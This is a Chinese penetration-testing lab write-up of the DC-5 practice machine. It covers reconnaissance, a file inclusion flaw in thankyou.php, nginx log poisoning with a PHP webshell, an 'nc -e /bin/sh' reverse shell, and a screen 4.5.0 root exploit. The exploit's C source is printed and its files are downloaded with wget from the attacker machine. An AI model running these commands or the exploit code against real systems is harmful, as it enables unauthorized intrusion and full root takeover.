Neos的渗透测试靶机练习——DC-5

DC-5

    • 一、实验环境
    • 二、开始渗透
      • 1. 搜集信息
      • 2. 文件包含漏洞
      • 3. 反弹shell
    • 三、总结


一、实验环境

虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DC-5(网卡初始为仅主机模式,要有安全意识)

二、开始渗透

1. 搜集信息

输入sudo su,将kali切换到root权限
Neos的渗透测试靶机练习——DC-5_第1张图片
输入ifconfig查询自身ip,即攻击机ip
查自身ip
可以看到自身ip192.168.56.101,对应的网卡名称为eth0
本次渗透我们选择输入arp-scan -l扫描本网段存活主机,即靶机ip地址
Neos的渗透测试靶机练习——DC-5_第2张图片
可以看到靶机ip192.168.56.112,。
输入nmap -sV -p- 192.168.56.112,查看靶机端口开放信息
Neos的渗透测试靶机练习——DC-5_第3张图片

看到开放了80端口111端口59896端口
浏览器输入192.168.56.112:80。
Neos的渗透测试靶机练习——DC-5_第4张图片
命令行输入whatweb -v 192.168.56.112查询网站指纹信息。
Neos的渗透测试靶机练习——DC-5_第5张图片
可以看到没什么信息,其中nginx是一个中间件,版本为1.6.2
命令行输入dirsearch -u http://192.168.56.112,查询网站目录
Neos的渗透测试靶机练习——DC-5_第6张图片
可以看到有一个footer.php,其他就没有什么关键信息了。
Neos的渗透测试靶机练习——DC-5_第7张图片
刷新footer.php发现年份字段会变化。
继续浏览网页,发现Contact板块可以提交东西,随便填一下提交。
Neos的渗透测试靶机练习——DC-5_第8张图片
发现年份信息变化,从2019变为了2020
Neos的渗透测试靶机练习——DC-5_第9张图片
看页面代码,怀疑在footer标签处有文件包含漏洞,即thankeyou.php调用了footer.php文件。
Neos的渗透测试靶机练习——DC-5_第10张图片

2. 文件包含漏洞

尝试浏览器输入192.168.56.112/thankyou.php?file=footer.php,发现正常显示。
Neos的渗透测试靶机练习——DC-5_第11张图片
继续尝试输入192.168.56.112/thankyou.php?file=/etc/passwd,发现能显示用户信息。
Neos的渗透测试靶机练习——DC-5_第12张图片
中间件Nginx有一个日志文件为/var/log/nginx/error.log
输入192.168.56.112/thankyou.php?file=/var/log/nginx/error.log,显示一大片日志信息。
Neos的渗透测试靶机练习——DC-5_第13张图片
故而我们可以将PHP木马写入到该Nginx的日志文件中。
浏览器输入192.168.56.112/thankyou.php?file=后,重新打开刚才的"日志链接",
乱码
发现刚刚的一句话木马中的空格发生了乱码,这里用burp抓包重新传。
Neos的渗透测试靶机练习——DC-5_第14张图片

3. 反弹shell

先在命令行中监听4444端口,输入nc -lvvp 4444
输入file=/var/log/nginx/error.log&neosD=nc -e /bin/sh 192.168.56.101 4444
Neos的渗透测试靶机练习——DC-5_第15张图片
直接反弹shell。
Neos的渗透测试靶机练习——DC-5_第16张图片
输入python -c 'import pty;pty.spawn("/bin/bash")',转为交互式界面。
Neos的渗透测试靶机练习——DC-5_第17张图片
没什么有价值的系统信息。
Neos的渗透测试靶机练习——DC-5_第18张图片
想查看那些指令可以以root权限执行,sudo -l不可以用。
这里还可以选择find命令查看,根目录输入find / -perm -u=s -type f 2>/dev/null
Neos的渗透测试靶机练习——DC-5_第19张图片
其中screen可以提权,本地命令行输入searchsploit screen 4.5.0
screen漏洞
发现有个漏洞可以提权,我们将其复制到根目录,
输入cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
需要分析41154.sh的内容,将其中的内容分别若干文件中。
vim libhax.c,并写入如下内容。

#include 
#include 
#include 
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

保存后输入gcc -fPIC -shared -ldl -o libhax.so libhax.c编译生成libhax.so文件。

继续vim rootshell.c,写入如下内容,

#include 
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

保存后输入gcc -o rootshell rootshell.c编译生成rootshell文件。
继续vim run.sh,将41154.sh的剩余内容写入该文件。
好了将libhax.so文件rootshell文件还有run.sh文件传到靶机上。
命令行输入python -m http.server 8080,靶机进入/tmp目录,靶机命令行输入wget http://192.168.56.101:8080/libhax.so
Neos的渗透测试靶机练习——DC-5_第20张图片
wget http://192.168.56.101:8080/rootshell
rootshell
wget http://192.168.56.101:8080/run.sh
Neos的渗透测试靶机练习——DC-5_第21张图片
给run.sh赋予权限,让其可以执行。
Neos的渗透测试靶机练习——DC-5_第22张图片
执行run.sh文件,提权成功,根目录下发现最终flag。
至此,渗透结束。

三、总结

每一次新的渗透都是一堆没学过的新的知识,希望大家能知其然,亦知其所以然,渗透结束了,可是其中大量的为什么需要你私下去思考并解决,学的只是思路,但是为什么这个思路,为什么用这个工具,还需要多多琢磨。


你可能感兴趣的:(靶场练习,安全,渗透测试,网络安全,web安全,网络)